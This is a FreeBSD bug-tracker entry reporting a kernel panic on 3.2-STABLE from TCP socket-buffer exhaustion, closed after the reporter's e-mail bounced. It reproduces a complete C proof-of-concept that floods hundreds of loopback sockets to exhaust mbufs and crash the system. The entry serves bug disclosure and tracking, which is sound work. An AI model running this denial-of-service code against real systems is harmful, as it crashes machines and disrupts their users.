| Summary: | Old problem re-introduced: TCP sucket buffer fills before remote system reads() causes panic() or reboots system | ||
|---|---|---|---|
| Product: | Base System | Reporter: | kancli66 <kancli66> |
| Component: | misc | Assignee: | freebsd-bugs (Nobody) <bugs> |
| Status: | Closed FIXED | ||
| Severity: | Affects Only Me | ||
| Priority: | Normal | ||
| Version: | 3.2-STABLE | ||
| Hardware: | Any | ||
| OS: | Any | ||
State Changed From-To: open->feedback Does this problem still occur in newer versions of FreeBSD, such as 4.3-RELEASE? State Changed From-To: feedback->closed E-mail sent to originator bounces. |
This bug worked on pre-3 releases then it was fixed and now i notice it reappeared on 3.2-stable version. Here is the exploit that causes kernel panic and reboots the 3.2-stable system. connect send a big chunk of data which causes the TCP socket buffers to fill up before the remote process read()s it panic(). Lo and Behold, Don Lewis said: > On May 5, 12:35am, The Tech-Admin Dude wrote: > } Subject: Re: freebsd mbuf crash > } Raise NMBCLUSTERS in kernel config file > > That's the fix for FreeBSD panics caused by running out of mbuf clusters. > > The exploit code that was posted triggered a bug in the IP reassembly code > that was present in 3.0 between August and October last year (ip_input.c > versions 1.100 through 1.102). > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > -- work: danderse@cs.utah.edu me: angio@pobox.com University of Utah http://www.angio.net/ Computer Science - Flux Research Group "What's footnote FIVE?" /* Test program for TCP buffer overflow mbuf panic */ /* Dave Andersen - danderse@cs.utah.edu */ /* netbuf.c - gcc netbuf.c -o netbuf */ /* [ http://www.rootshell.com/ ] */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #define MAXSOCK 500 #define MY_BUFSIZE 32768 #define MAGICPORT 29833 #ifndef INADDR_LOOPBACK #define INADDR_LOOPBACK 0x7f000001 #endif /* * Compiling: * FreeBSD, AIX: -DHAS_SIN_LEN * Linux, IRIX: */ /* * Vulnerable: * FreeBSD-2.x * IRIX * Not vulnerable: * FreeBSD-3.0 * Linux 2.0.30 * AIX 4.1 */ struct sockaddr_in socka; void doecho() { int ls; ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); bind(ls, &socka, sizeof(socka)); listen(ls, MAXSOCK); while (1) { sleep(1); } } int main(int argc, char **argv) { int kidpid; int sendsock[MAXSOCK], recvsock[MAXSOCK]; int i; int sock; int socksize; char buf[MY_BUFSIZE]; socksize = 1048576; bzero(&socka, sizeof(socka)); socka.sin_addr.s_addr = htonl(INADDR_LOOPBACK); #ifdef HAS_SIN_LEN socka.sin_len = sizeof(struct sockaddr_in); #endif socka.sin_family = AF_INET ; socka.sin_port = htons(MAGICPORT); kidpid = fork(); if (kidpid > 0) { doecho(); } else { /* A vague, horrible excuse for synchronization. This * is a demonstration of a kernel flaw, not good coding * style. :-) */ sleep(2); } for (i = 0; i < MAXSOCK; i++) { /* Open the socket connection, set the socket option */ sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &socksize, sizeof(socksize)); sendsock[i] = sock; if (connect(sock, &socka, sizeof(socka))) { perror("could not connect"); } printf("Opened\n"); } printf("Starting the loop\n"); while (1) { for (i = 0; i < MAXSOCK; i++) write(sendsock[i], buf, MY_BUFSIZE); } } Fix: Was fixed in early 3.x releases